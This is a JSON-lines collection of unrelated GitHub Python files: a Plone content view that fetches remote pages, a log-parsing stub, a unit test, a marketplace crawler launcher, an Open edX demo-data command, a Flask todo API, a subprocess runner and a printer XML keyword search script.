{"seq_id":"20254993762","text":"# -*- coding: utf-8 -*-\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.Five.browser import BrowserView\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\n\nfrom bs4 import BeautifulSoup\nfrom plone.app.contenttypes.interfaces import IFolder\nfrom plone.dexterity.content import Container\nfrom pyquery import PyQuery as pq\nfrom requests.exceptions import ReadTimeout\nfrom requests.exceptions import RequestException\nfrom zope import schema\nfrom zope.annotation.interfaces import IAnnotations\nfrom zope.component import getAdapter, getAdapters\nfrom zope.interface import implementer\nfrom zope.interface import Interface\n\nfrom genweb6.core import utils\nfrom genweb6.upc import _\nfrom genweb6.upc.content.packet import PACKETS_KEY\n\nimport plone.api\nimport re\nimport requests\nimport urllib.parse\n\n\nclass Ipacket(IFolder):\n    \"\"\"Marker interface for the packet\"\"\"\n\n\n@implementer(Ipacket)\nclass Packet(Container):\n\n    @property\n    def b_icon_expr(self):\n        return \"box\"\n\n\nclass IpacketDefinition(Interface):\n    \"\"\"A packet definition\"\"\"\n\n    order = schema.Int(title=u\"Order\")\n    URL_schema = schema.TextLine(title=u\"The URL schema of the packet\")\n\n\nclass View(BrowserView):\n\n    template = ViewPageTemplateFile('templates/view.pt')\n\n    def __init__(self, context, request):\n        self.context = context\n        self.request = request\n        self.title = ''\n        self.content = ''\n\n    def __call__(self):\n        return self.template()\n\n    def get_catalog_content(self, path_to_search):\n        \"\"\" Fem una consulta al catalog, en comptes de fer un PyQuery \"\"\"\n        raw_html = u''\n        catalog = getToolByName(self.context, 'portal_catalog')\n\n        objects = catalog(path=path_to_search)\n        try:\n            raw_html = objects[0]()\n        except:\n            raw_html = objects[0].getObject()()\n\n        return raw_html\n\n    def getHTML(self):\n        packet_type = self.getType()\n        adapter = getAdapter(self.context, IpacketDefinition, packet_type)\n        adapter.packet_fields.update({'lang': utils.pref_lang()})\n\n        url = adapter.URL_schema\n        portal_url = getToolByName(self.context, \"portal_url\")\n        portal = portal_url.getPortalObject()\n        url_portal_nginx = portal.absolute_url()  # url (per dns) del lloc\n\n        try:\n            url = self.get_absolute_url(url % adapter.packet_fields)\n            # check url to avoid autoreference, removing http(s) and final slash\n            link_url = re.findall('https?://(.*)', url)[0].strip('/')  # url del contingut netejada\n            parent_url = re.findall('https?://(.*)', self.context.absolute_url())[0].strip('/')  # url del pare netejada\n            root_url = re.findall('https?://(.*)', url_portal_nginx)[0].strip('/')  # url (per dns) del lloc netejada\n            if link_url != parent_url:\n                if link_url.startswith(root_url):\n                    # link intern, search through the catalog\n                    relative_path = '/' + re.findall(root_url + '(.*)', link_url)[0]\n                    url_to_search = '/'.join(portal.getPhysicalPath()) + relative_path\n                    raw_html = self.get_catalog_content(url_to_search)\n                    clean_html = re.sub(r'[\\n\\r]?', r'', raw_html)\n                    doc = pq(clean_html)\n                    match = re.search(r'This page does not exist', clean_html)\n                    self.title = self.context.Title()  # titol per defecte\n                    if not match:\n                        if packet_type == 'contingut_genweb':\n                            element = adapter.packet_fields['element']\n                            if not element:\n                                element = \"#content-core\"\n                        else:\n                            element = \"#content-nucli\"\n                        content = pq('<div/>').append(\n                            doc(element).outerHtml()).html(method='html')\n                        if not content:\n                            content = _(u\"ERROR. This element does not exist.\") + \" \" + element\n                    else:\n                        content = _(u\"ERROR: Unknown identifier. This page does not exist.\" + url)\n                else:\n                    # link extern, pyreq\n                    raw_html = requests.get(url, timeout=5, verify=False)\n                    clean_html = re.sub(r'[\\n\\r]?', r'', raw_html.text)\n                    doc = pq(clean_html)\n                    match = re.search(r'This page does not exist', clean_html)\n                    self.title = self.context.Title()  # titol per defecte\n                    if not match:\n                        if packet_type == 'contingut_genweb':\n                            element = adapter.packet_fields['element']\n                            if not element:\n                                element = \"#content-core\"\n                        else:\n                            element = \"#content-nucli\"\n                        content = pq('<div/>').append(\n                            doc(element).outerHtml()).html(method='html')\n                        if not content:\n                            content = _(u\"ERROR. This element does not exist.\") + \" \" + element\n                    else:\n                        content = _(u\"ERROR: Unknown identifier. This page does not exist.\" + url)\n            else:\n                content = _(u\"ERROR. Autoreference\")\n        except ReadTimeout:\n            content = _(u\"ERROR. There was a timeout while waiting for '{0}'\".format(self.get_absolute_url(self.data.url)))\n        except RequestException:\n            content = _(u\"ERROR. This URL does not exist.\")\n        except:\n            content = _(u\"ERROR. Unexpected exception.\")\n\n        soup = BeautifulSoup(clean_html, \"html.parser\")\n        body = soup.find_all(\"body\")\n        if body:\n            class_body = body[0].get(\"class\", [])\n            valid_class = [valid for valid in class_body if valid.startswith('template-') or valid.startswith('portaltype-')]\n            content = str('<div class=\"existing-content ' + ' '.join(valid_class) + '\">' + content + '</div>')\n\n        self.content = content\n\n    def get_absolute_url(self, url):\n        \"\"\"\n        Convert relative url to absolute\n        \"\"\"\n        if not (\"://\" in url):\n            base = self.context.__parent__.absolute_url() + '/'\n            return urllib.parse.urljoin(base, url)\n        else:\n            # Already absolute\n            return url\n\n    def getPacket(self):\n        return self.content\n\n    def getTitle(self):\n        # import pdb; pdb.set_trace()\n        # si el contingut esta configurat i encara no tenim el content, l'obtenim\n        # el titol sera el nom del contingut (llistat, paquet o genweb) o el nom de l'estudi\n        if self.isAlreadyConfigured() and self.content == '':\n            self.getHTML()\n        return self.title\n\n    def getType(self):\n        annotations = IAnnotations(self.context)\n        return annotations.get(PACKETS_KEY + '.type', None)\n\n    def isAlreadyConfigured(self):\n        annotations = IAnnotations(self.context)\n        if annotations.get(PACKETS_KEY + '.type', None):\n            return True\n        else:\n            return False\n\n    def selectedPacket(self):\n        annotations = IAnnotations(self.context)\n        packet_key = annotations.get(PACKETS_KEY + '.type')\n        packet_fields = annotations.get(PACKETS_KEY + '.fields')\n        packet_mapui = annotations.get(PACKETS_KEY + '.mapui')\n\n        return dict(packet_key=packet_key, value=packet_fields.get(packet_mapui.get('codi')), element=packet_fields.get(packet_mapui.get('element')))\n\n    def show_extended_info(self):\n        user = plone.api.user.get_current()\n\n        if getattr(user, 'name', False):\n            if user.name == 'Anonymous User':\n                return False\n        try:\n            user_roles = set(plone.api.user.get_roles(user=user, obj=self.context) +\n                             plone.api.user.get_roles(user=user))\n        except:\n            user_roles = set(plone.api.user.get_roles(user=user, obj=self.context))\n\n        if 'Manager' in user_roles or \\\n           'WebMaster' in user_roles or \\\n           'Site Administrator' in user_roles or \\\n           'Owner' in user_roles:\n            return True\n        else:\n            return False\n\n    def absolute_url(self, url):\n        \"\"\"\n        Convert relative url to absolute\n        \"\"\"\n        if not (\"://\" in url):\n            base = self.context.__parent__.absolute_url() + '/'\n            return urllib.parse.urljoin(base, url)\n        else:\n            # Already absolute\n            return url\n\n\nclass Configure(BrowserView):\n\n    template = ViewPageTemplateFile('templates/configure.pt')\n\n    def __init__(self, context, request):\n        self.context = context\n        self.request = request\n        self.available_ptypes = sorted([adapter for adapter in getAdapters((self.context,), IpacketDefinition)], key=lambda adapter: adapter[1].order)\n\n    def __call__(self):\n        if self.request.form:\n            form = self.request.form\n            packet_type = form.get(\"packet_type\", None)\n            if packet_type:\n                adapter = getAdapter(self.context, IpacketDefinition, packet_type)\n                field_values = dict([(field, form[field]) for field in adapter.fields])\n                adapter.packet_fields = field_values\n                adapter.packet_type = packet_type\n                adapter.packet_mapui = adapter.mapui\n                return self.request.response.redirect(self.context.absolute_url())\n        return self.template()\n\n    def getAvailablePacketsInfo(self):\n        return self.available_ptypes\n\n    def getTitle(self):\n        return self.context.Title()\n\n    def selectedPacket(self):\n        if self.isAlreadyConfigured():\n            annotations = IAnnotations(self.context)\n            packet_key = annotations.get(PACKETS_KEY + '.type')\n            packet_fields = annotations.get(PACKETS_KEY + '.fields')\n            packet_mapui = annotations.get(PACKETS_KEY + '.mapui')\n            selected = dict(packet_key=packet_key, value=packet_fields.get(packet_mapui.get('codi')), element=packet_fields.get(packet_mapui.get('element')))\n        else:\n            selected = {'packet_key': '', 'value': '', 'element': ''}\n\n        return selected\n\n    def isAlreadyConfigured(self):\n        annotations = IAnnotations(self.context)\n        if annotations.get(PACKETS_KEY + '.type', None):\n            return True\n        else:\n            return False\n\n    def getType(self):\n        annotations = IAnnotations(self.context)\n        return annotations.get(PACKETS_KEY + '.type', None)\n","repo_name":"UPCnet/genweb6.upc","sub_path":"src/genweb6/upc/content/packet/packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":10689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1983816972","text":"def analyze_system_performance(log_file):\r\n    system_metrics = []\r\n    with open(log_file, 'r') as file:\r\n        for line in file:\r\n            if 'system_performance' in line:\r\n                system_metrics.append(line)\r\n    return system_metrics\r\n\r\ndef analyze_system_events(log_file):\r\n    system_events = []\r\n    with open(log_file, 'r') as file:\r\n        for line in file:\r\n            if 'system_event' in line:\r\n                system_events.append(line)\r\n    return system_events\r\n\r\ndef summarize_system_performance(system_metrics, system_events):\r\n    # Perform analysis and correlation logic based on system metrics and events\r\n    summary = \"System Performance Summary:\\n\"\r\n    # ...\r\n    return summary\r\n\r\n# Usage example:\r\nmetrics_file = 'performance.log'\r\nevents_file = 'events.log'\r\nsystem_metrics = analyze_system_performance(metrics_file)\r\nsystem_events = analyze_system_events(events_file)\r\nsummary = summarize_system_performance(system_metrics, system_events)\r\nprint(summary)\r\n","repo_name":"JeremyEngram/omnilog","sub_path":"system-performance-analysis.py","file_name":"system-performance-analysis.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38313203178","text":"import pytest\nfrom asynctest import (\n    mock as async_mock,\n    TestCase as AsyncTestCase,\n)\n\nfrom ......messaging.request_context import RequestContext\nfrom ......messaging.responder import MockResponder\nfrom ......transport.inbound.receipt import MessageReceipt\n\nfrom ...messages.presentation_proposal import PresentationProposal\nfrom .. import presentation_proposal_handler as handler\n\n\nclass TestPresentationProposalHandler(AsyncTestCase):\n    async def test_called(self):\n        request_context = RequestContext.test_context()\n        request_context.message_receipt = MessageReceipt()\n        request_context.settings[\"debug.auto_respond_presentation_proposal\"] = False\n\n        with async_mock.patch.object(\n                handler, \"PresentationManager\", autospec=True\n        ) as mock_pres_mgr:\n            mock_pres_mgr.return_value.receive_proposal = async_mock.CoroutineMock(\n                return_value=async_mock.MagicMock()\n            )\n            request_context.message = PresentationProposal()\n            request_context.connection_ready = True\n            request_context.connection_record = async_mock.MagicMock()\n            handler_inst = handler.PresentationProposalHandler()\n            responder = MockResponder()\n            await handler_inst.handle(request_context, responder)\n\n        mock_pres_mgr.assert_called_once_with(request_context.profile)\n        mock_pres_mgr.return_value.receive_proposal.assert_called_once_with(\n            request_context.message, request_context.connection_record\n        )\n        assert not responder.messages\n\n    async def test_called_auto_request(self):\n        request_context = RequestContext.test_context()\n        request_context.message = async_mock.MagicMock()\n        request_context.message.comment = \"hello world\"\n        request_context.message_receipt = MessageReceipt()\n        request_context.settings[\"debug.auto_respond_presentation_proposal\"] = True\n\n        with async_mock.patch.object(\n                handler, \"PresentationManager\", autospec=True\n        ) as mock_pres_mgr:\n            mock_pres_mgr.return_value.receive_proposal = async_mock.CoroutineMock(\n                return_value=\"presentation_exchange_record\"\n            )\n            mock_pres_mgr.return_value.create_bound_request = async_mock.CoroutineMock(\n                return_value=(\n                    mock_pres_mgr.return_value.receive_proposal.return_value,\n                    \"presentation_request_message\",\n                )\n            )\n            request_context.message = PresentationProposal()\n            request_context.connection_ready = True\n            handler_inst = handler.PresentationProposalHandler()\n            responder = MockResponder()\n            await handler_inst.handle(request_context, responder)\n\n        mock_pres_mgr.assert_called_once_with(request_context.profile)\n        mock_pres_mgr.return_value.create_bound_request.assert_called_once_with(\n            presentation_exchange_record=(\n                mock_pres_mgr.return_value.receive_proposal.return_value\n            ),\n            comment=request_context.message.comment,\n        )\n        messages = responder.messages\n        assert len(messages) == 1\n        (result, target) = messages[0]\n        assert result == \"presentation_request_message\"\n        assert target == {}\n\n    async def test_called_not_ready(self):\n        request_context = RequestContext.test_context()\n        request_context.message_receipt = MessageReceipt()\n\n        with async_mock.patch.object(\n                handler, \"PresentationManager\", autospec=True\n        ) as mock_pres_mgr:\n            mock_pres_mgr.return_value.receive_proposal = async_mock.CoroutineMock()\n            request_context.message = PresentationProposal()\n            request_context.connection_ready = False\n            handler_inst = handler.PresentationProposalHandler()\n            responder = MockResponder()\n            with self.assertRaises(handler.HandlerException):\n                await handler_inst.handle(request_context, responder)\n\n        assert not responder.messages\n","repo_name":"MetaBloxIO/metablox-cloud-agent-proxy","sub_path":"protocols/present_proof/v1_0/handlers/tests/test_presentation_proposal_handler.py","file_name":"test_presentation_proposal_handler.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"32593751932","text":"import os\nimport sys\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\ndir_path = '/'.join(dir_path.split('/')[0:-1])\nsys.path.insert(0, dir_path)\nfrom Common.Bonanza_common_imports import *\n\ncategory_list = '|'.join(BONANZA_CATEGORY_LIST)\n\n\ndef start_url_collection():\n    jobs = []\n    if DataCollectors_Configuration.ANTIQUES in category_list:\n        thread_1 = Thread(target=antiques_url_collector.start_url_collection)\n        thread_1.daemon = True\n        jobs.append(thread_1)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.ART in category_list:\n        thread_2 = Thread(target=art_url_collector.start_url_collection)\n        thread_2.daemon = True\n        jobs.append(thread_2)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.BABY in category_list:\n        thread_3 = Thread(target=baby_url_collector.start_url_collection)\n        thread_3.daemon = True\n        jobs.append(thread_3)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.BOOKS in category_list:\n        thread_4 = Thread(target=books_url_collector.start_url_collection)\n        thread_4.daemon = True\n        jobs.append(thread_4)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.BUSINESS in category_list:\n        thread_5 = Thread(target=business_url_collector.start_url_collection)\n        thread_5.daemon = True\n        jobs.append(thread_5)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.CAMERAS in category_list:\n        thread_6 = Thread(target=cameras_url_collector.start_url_collection)\n        thread_6.daemon = True\n        jobs.append(thread_6)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.CELL_PHONES in category_list:\n        thread_7 = Thread(target=cell_phones_url_collector.start_url_collection)\n        thread_7.daemon = True\n        jobs.append(thread_7)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.COINS in category_list:\n        thread_8 = Thread(target=coins_url_collector.start_url_collection)\n        thread_8.daemon = True\n        jobs.append(thread_8)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.COLLECTIBLES in category_list:\n        thread_9 = Thread(target=collectibles_url_collector.start_url_collection)\n        thread_9.daemon = True\n        jobs.append(thread_9)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.COMPUTERS in category_list:\n        thread_10 = Thread(target=computers_url_collector.start_url_collection)\n        thread_10.daemon = True\n        jobs.append(thread_10)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.CONSUMER_ELECTRONICS in category_list:\n        thread_11 = Thread(target=consumer_electronics_url_collector.start_url_collection)\n        thread_11.daemon = True\n        jobs.append(thread_11)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.CRAFTS in category_list:\n        thread_12 = Thread(target=crafts_url_collector.start_url_collection)\n        thread_12.daemon = True\n        jobs.append(thread_12)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.DIGITAL_GOODS in category_list:\n        thread_13 = Thread(target=digital_goods_url_collector.start_url_collection)\n        thread_13.daemon = True\n        jobs.append(thread_13)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.DOLLS in category_list:\n        thread_14 = Thread(target=dolls_url_collector.start_url_collection)\n        thread_14.daemon = True\n        jobs.append(thread_14)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.DVDS_MOVIES in category_list:\n        thread_15 = Thread(target=dvds_movies_url_collector.start_url_collection)\n        thread_15.daemon = True\n        jobs.append(thread_15)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.ENTERTAINMENT in category_list:\n        thread_16 = Thread(target=entertainment_url_collector.start_url_collection)\n        thread_16.daemon = True\n        jobs.append(thread_16)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.EVERYTHING_ELSE in category_list:\n        thread_17 = Thread(target=everything_else_url_collector.start_url_collection)\n        thread_17.daemon = True\n        jobs.append(thread_17)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.FASHION in category_list:\n        thread_18 = Thread(target=fashion_url_collector.start_url_collection)\n        thread_18.daemon = True\n        jobs.append(thread_18)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.HEALTH_BEAUTY in category_list:\n        thread_19 = Thread(target=health_beauty_url_collector.start_url_collection)\n        thread_19.daemon = True\n        jobs.append(thread_19)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.HOME_GARDEN in category_list:\n        thread_20 = Thread(target=home_garden_url_collector.start_url_collection)\n        thread_20.daemon = True\n        jobs.append(thread_20)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.JEWELLERY in category_list:\n        thread_21 = Thread(target=jewellery_url_collector.start_url_collection)\n        thread_21.daemon = True\n        jobs.append(thread_21)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.MUSIC in category_list:\n        thread_22 = Thread(target=music_url_collector.start_url_collection)\n        thread_22.daemon = True\n        jobs.append(thread_22)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.MUSICAL_INSTRUMENTS in category_list:\n        thread_23 = Thread(target=musical_instruments_url_collector.start_url_collection)\n        thread_23.daemon = True\n        jobs.append(thread_23)\n        # thread_1.start(23\n        # thread_1.join()\n    if DataCollectors_Configuration.PET_SUPPLIES in category_list:\n        thread_24 = Thread(target=pet_supplies_url_collector.start_url_collection)\n        thread_24.daemon = True\n        jobs.append(thread_24)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.POTTERY in category_list:\n        thread_25 = Thread(target=pottery_url_collector.start_url_collection)\n        thread_25.daemon = True\n        jobs.append(thread_25)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.SPECIALITY_SERVICES in category_list:\n        thread_26 = Thread(target=speciality_services_url_collector.start_url_collection)\n        thread_26.daemon = True\n        jobs.append(thread_26)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.SPORTING_GOODS in category_list:\n        thread_27 = Thread(target=sporting_goods_url_collector.start_url_collection)\n        thread_27.daemon = True\n        jobs.append(thread_27)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.SPORTS_MEM in category_list:\n        thread_28 = Thread(target=sports_mem_url_collector.start_url_collection)\n        thread_28.daemon = True\n        jobs.append(thread_28)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.STAMPS in category_list:\n        thread_29 = Thread(target=stamps_url_collector.start_url_collection)\n        thread_29.daemon = True\n        jobs.append(thread_29)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.TICKETS in category_list:\n        thread_30 = Thread(target=tickets_url_collector.start_url_collection)\n        thread_30.daemon = True\n        jobs.append(thread_30)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.TOYS in category_list:\n        thread_31 = Thread(target=toys_url_collector.start_url_collection)\n        thread_31.daemon = True\n        jobs.append(thread_31)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.TRAVEL in category_list:\n        thread_32 = Thread(target=travel_url_collector.start_url_collection)\n        thread_32.daemon = True\n        jobs.append(thread_32)\n        # thread_1.start()\n        # thread_1.join()\n    if DataCollectors_Configuration.VIDEO_GAMES in category_list:\n        thread_33 = Thread(target=video_games_url_collector.start_url_collection)\n        thread_33.daemon = True\n        jobs.append(thread_33)\n        # thread_1.start()\n        # thread_1.join()\n    for job in jobs:\n        job.start()\n    for job in jobs:\n        if (job.is_alive()):\n            job.join()\n\n\nif __name__ == '__main__':\n    start_url_collection()\n","repo_name":"akhilreddyyeredla/Web_Crawlers","sub_path":"Other_Market_Places/Bonanza/main_url_bonanza.py","file_name":"main_url_bonanza.py","file_ext":"py","file_size_in_byte":9050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25637247841","text":"\n\nimport datetime\n\nfrom django.core.management.base import BaseCommand\nfrom django.db.models import Q\nfrom django.utils import timezone\nfrom oscar.core.loading import get_model\nfrom waffle.models import Flag\n\nfrom ecommerce.courses.models import Course\n\nPartner = get_model('partner', 'Partner')\n\n\nclass Command(BaseCommand):\n    help = 'Create demo course, its seats and publishes it to LMS. This should only be run in development environments!'\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            '--partner',\n            action='store',\n            dest='partner_code',\n            type=str,\n            required=True,\n            help='Code for the partner with which the course should be associated'\n        )\n        parser.add_argument(\n            '--course-id',\n            action='store',\n            dest='course_id',\n            type=str,\n            default='course-v1:edX+DemoX+Demo_Course',\n            help='ID of the course to be created/updated. Defaults to course-v1:edX+DemoX+Demo_Course.'\n        )\n        parser.add_argument(\n            '--course-title',\n            action='store',\n            dest='course_title',\n            type=str,\n            default='edX Demonstration Course',\n            help='Title of the course to be created/updated. Defaults to edX Demonstration Course.'\n        )\n        parser.add_argument(\n            '--price',\n            action='store',\n            dest='price',\n            type=int,\n            default=149,\n            help='Cost of the verified seat. Defaults to 149'\n        )\n\n    def handle(self, *args, **options):\n        course_id = options['course_id']\n        course_title = options['course_title']\n        price = options['price']\n        partner = Partner.objects.get(short_code=options['partner_code'])\n        one_year = datetime.timedelta(days=365)\n        expires = timezone.now() + one_year\n\n        # Enable client-side checkout\n        # TODO Use the management command in edx/devstack once https://github.com/jsocol/django-waffle/issues/199\n        # is resolved.\n        Flag.objects.update_or_create(name='enable_client_side_checkout', defaults={'everyone': True})\n\n        # Create the course\n        course, __ = Course.objects.update_or_create(id=course_id, partner=partner, defaults={\n            'name': course_title,\n            'verification_deadline': expires + one_year,\n        })\n\n        # Create the audit and verified seats\n        audit_sku = None\n        verified_sku = None\n        if course.seat_products.exists():\n            audit_seat = course.seat_products.filter(~Q(attributes__name='certificate_type')).first()\n            audit_stock_record = audit_seat and audit_seat.stockrecords.first()\n            if audit_stock_record:\n                audit_sku = audit_stock_record.partner_sku\n            verified_seat = course.seat_products.filter(attribute_values__value_text='verified').first()\n            verified_stock_record = verified_seat and verified_seat.stockrecords.first()\n            if verified_stock_record:\n                verified_sku = verified_stock_record.partner_sku\n\n        # Have to pass in the skus in case it is an update\n        course.create_or_update_seat('', False, 0, sku=audit_sku)\n        course.create_or_update_seat(\n            'verified', True, price, expires=expires, create_enrollment_code=True, sku=verified_sku\n        )\n        self.stdout.write(\n            self.style.SUCCESS('Created audit and verified seats for [{course_id}]'.format(course_id=course_id))\n        )\n\n        # Publish the data to the LMS\n        if course.publish_to_lms():\n            msg = 'An error occurred while attempting to publish [{course_id}] to LMS'.format(course_id=course_id)\n            self.stderr.write(self.style.ERROR(msg))\n        else:\n            msg = 'Published course modes for [{course_id}] to LMS'.format(course_id=course_id)\n            self.stdout.write(self.style.SUCCESS(msg))\n","repo_name":"openedx/ecommerce","sub_path":"ecommerce/core/management/commands/create_demo_data.py","file_name":"create_demo_data.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":138,"dataset":"github-code","pt":"47"}
{"seq_id":"40485891882","text":"from todo_funcs import todo\r\nfrom flask import Flask, jsonify, request\r\n\r\ntodolist = todo()\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n    return jsonify({\"Welcome to ToDo List Page\" : \"by Keremstein\"})\r\n\r\n@app.route(\"/todos\", methods = [\"GET\",\"POST\"])\r\ndef displayTodos():\r\n\r\n    if request.method == \"GET\":\r\n        return jsonify(todolist.getTodos())\r\n\r\n    elif request.method == \"POST\":\r\n        todolist.addTodo({\"id\":len(todolist.todos)+1, \"note\":input(\"note ? \"), \"description\":input(\"description ? \")})\r\n        return jsonify({\"Result\" : True})\r\n\r\n    else:\r\n        return jsonify({\"Result\" : False})\r\n\r\n@app.route(\"/todos/<int:id>\", methods = [\"GET\",\"PUT\",\"DELETE\"])\r\ndef displayTodo(id):\r\n    \r\n    if request.method == \"GET\":\r\n        return jsonify(todolist.getTodo(id))\r\n\r\n    elif request.method == \"PUT\":\r\n        if len(todolist.todos) == 0:\r\n            return jsonify({'Todo Item': 'List is empty'}), 404\r\n        else:\r\n            todolist.modifyTodo(id, input(\"new note ? \"), input(\"new description ? \"))\r\n            return jsonify({\"Data\" : \"Changed\"})\r\n\r\n    elif request.method == \"DELETE\":\r\n        if len(todolist.todos) == 0:\r\n            return jsonify({'Todo Item': 'Not found'}), 404\r\n        else:\r\n            todolist.removeTodo(id)\r\n            return jsonify({\"Data\" : \"Deleted\"})\r\n\r\n    else:\r\n        return jsonify({\"Result\" : False})\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)","repo_name":"keremstein/Rest-API","sub_path":"todo_json.py","file_name":"todo_json.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"69905053262","text":"import os\nimport time\n\n# import torch\n\nimport threading\n\n# print(torch.cuda.is_available())\n#\n# lock = threading.Lock()\n# #python激活虚拟环境\n# i=0\n# def deal():\n#     global i\n#     # for t in range(100):\n#     lock.acquire()\n#     os.system('conda activate paddle')\n#     time.sleep(1)\n#     os.system('pip -V')\n#     lock.release()\n# def deal2():\n#     global i\n#     # for t in range(100):\n#     lock.acquire()\n#     os.system('pip -V')\n#     lock.release()\n# job1 = threading.Thread(target=deal)\n# job2 = threading.Thread(target=deal2)\n# job2.start()\n# job1.start()\n\nimport subprocess\n\ndef run_command(command):\n    # 使用 subprocess 运行系统命令\n    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    stdout, stderr = process.communicate()\n\n    if process.returncode == 0:\n        print(\"成功执行命令：\", command)\n        print(\"输出：\\n\", stdout.decode('utf-8'))\n    else:\n        print(\"执行命令失败：\", command)\n        print(\"错误信息：\\n\", stderr.decode('utf-8'))\n\ndef main():\n    # 定义要在子线程中运行的系统命令\n    commands = [\"conda activate dl\", \"pip list\", \"pwd\"]\n\n    # 创建一个线程列表\n    threads = []\n\n    # 为每个命令创建一个线程，并添加到线程列表中\n    for command in commands:\n        thread = threading.Thread(target=run_command, args=(command,))\n        threads.append(thread)\n\n    # 启动所有线程\n    for thread in threads:\n        thread.start()\n\n    # 等待所有线程完成\n    for thread in threads:\n        thread.join()\n\nif __name__ == \"__main__\":\n    main()\n\n\n","repo_name":"Lvjinhong/ljhTX2","sub_path":"utils/yoloV5.py","file_name":"yoloV5.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"71566659342","text":"#！/bin/bash/python3\r\n#coding=utf-8\r\n#给定链接，寻找其中的xml文件，并搜索字符串，并递归搜索子目录下的xml文件\r\nimport  xml.dom.minidom\r\nimport urllib\r\n#打开xml文档\r\ndom = xml.dom.minidom.parse('DiscoveryTree.xml')\r\n\r\n#得到文档元素对象\r\nroot = dom.documentElement\r\nprint(root.nodeName)\r\nprint(root.nodeValue)\r\nprint(root.nodeType)\r\nprint(root.ELEMENT_NODE)\r\nChilid_Element_List1=[]   #子结点列表\r\nChilid_Element_List2=[]   #子结点列表\r\nChilid_Element_List=[]   #子结点列表\r\nChilid_Element_List1 = root.getElementsByTagName(\"ledm:SupportedTree\") \r\nChilid_Element_List2 = root.getElementsByTagName(\"ledm:SupportedIfc\") \r\nChilid_Element_List=Chilid_Element_List1+Chilid_Element_List2\r\ncollection_List=[]\r\nfor child in Chilid_Element_List:\r\n     collection_List.append(\"http://15.96.136.163\" + child.childNodes[0].childNodes[0].nodeValue)\r\n\r\ndef FindKeyValue(s,data):\r\n    return data.find(s)\r\n\r\n#keyvalue1='Duplex'\r\n#keyvalue2='duplex'\r\nkeyvalue1='Two-sided'\r\nkeyvalue2='two-Sided'\r\n\r\nXml_List_Context=[]#xml列表中内容\r\nfor xml_list in collection_List:\r\n    try:\r\n        resu = urllib.request.urlopen(xml_list, data=None, timeout=3)\r\n        data=resu.read().decode()\r\n        index1 = FindKeyValue(keyvalue1,data)\r\n        index2 = FindKeyValue(keyvalue2,data)\r\n        index= (index1 if (index1>index2) else index2)\r\n    except:\r\n        fo = open(\"解析出错的xml列表.txt\",'a+',encoding = 'utf-8') # 打开文件 这里网络数据流的编码需要和写入的文件编码一致\r\n        fo.write(xml_list+\"解析出错\\n\")   # 写入文件\r\n        fo.close()       # 关闭文件\r\n        continue\r\n    #打开文件\r\n    #print(type(xml_list))\r\n    if(index>-1):\r\n        fo = open(xml_list.split('/')[-1]+\"关键字index\"+str(index),'a+',encoding = 'utf-8') # 打开文件 这里网络数据流的编码需要和写入的文件编码一致\r\n        fo.write(data)   # 写入文件\r\n        fo.close()       # 关闭文件\r\n    